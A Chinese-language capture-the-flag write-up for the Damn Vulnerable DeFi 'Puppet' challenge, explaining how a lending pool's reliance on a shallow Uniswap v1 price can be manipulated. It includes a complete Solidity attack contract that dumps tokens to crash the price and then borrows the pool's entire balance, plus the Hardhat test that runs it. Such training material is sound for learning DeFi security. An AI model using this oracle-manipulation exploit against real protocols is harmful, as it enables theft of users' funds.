Defi安全挑战系列-Damn Vulnerable DeFi(#8 Puppet)

有一个借贷池,用户可以借出Damn Valuable Tokens (DVT)。为了这样做,他们首先需要以抵押品形式存入两倍于借款金额的以太币。该池子目前有100,000个DVT代币的流动性。

在一个旧的Uniswap v1交易所中开设了一个DVT市场,目前有10个ETH和10个DVT的流动性。

通过从借贷池中取走所有的代币来完成挑战。你的余额中有25个ETH和1,000个DVT代币。

https://www.damnvulnerabledefi.xyz/challenges/puppet/

分析合约

分析PuppetPool.sol发现,借贷比例是根据uniswap中ETH和token的比例确认的。如果直接使用25ETH只可以买25个DTV,无法满足题目要求消耗所有借贷池中所有DVT。分析发现uniswap池子中的流动性很“浅”,只有10个ETH加10个DVT。如果将1000个DVT全部卖掉,DVT的价格会显著降低,只需要20个ETH左右就可以购买所有的100000。

解决方案

创建PuppetPoolAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";
import {PuppetPool} from "./PuppetPool.sol";
import "hardhat/console.sol";
import {IUniswapExchange} from "./IUniswapExchange.sol";

contract PuppetPoolAttack {
    PuppetPool public puppetPool;
    DamnValuableToken public damnValuableToken;
    IUniswapExchange public uniswapV1Exchange;

    constructor(
        address puppetPoolAddress,
        address uniswapExchangeAddress
    ) payable {
        puppetPool = PuppetPool(puppetPoolAddress);
        damnValuableToken = DamnValuableToken(puppetPool.token());
        uniswapV1Exchange = IUniswapExchange(uniswapExchangeAddress);
    }

    function attack() public {
        uint256 attackTokenAmount = damnValuableToken.balanceOf(address(this));

        damnValuableToken.approve(
            address(uniswapV1Exchange),
            attackTokenAmount
        );

        uniswapV1Exchange.tokenToEthSwapInput(
            attackTokenAmount,
            1,
            block.timestamp + 5000
        );

        uint256 puppetPoolTokenAmount = damnValuableToken.balanceOf(
            address(puppetPool)
        );

        uint256 depositRequired = puppetPool.calculateDepositRequired(
            puppetPoolTokenAmount
        );

        puppetPool.borrow{value: depositRequired}(
            puppetPoolTokenAmount,
            msg.sender
        );
    }

    receive() external payable {}
}

puppet.challenge.js


    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */

        const attackFoctory = await ethers.getContractFactory("PuppetPoolAttack");
        const attackContracts = await attackFoctory.deploy(
            lendingPool.address,
            uniswapExchange.address, {
                value: PLAYER_INITIAL_ETH_BALANCE
            }
        );

        await token.connect(player).transfer(
            attackContracts.address,
            PLAYER_INITIAL_TOKEN_BALANCE
        );
        await attackContracts.connect(player).attack();
    });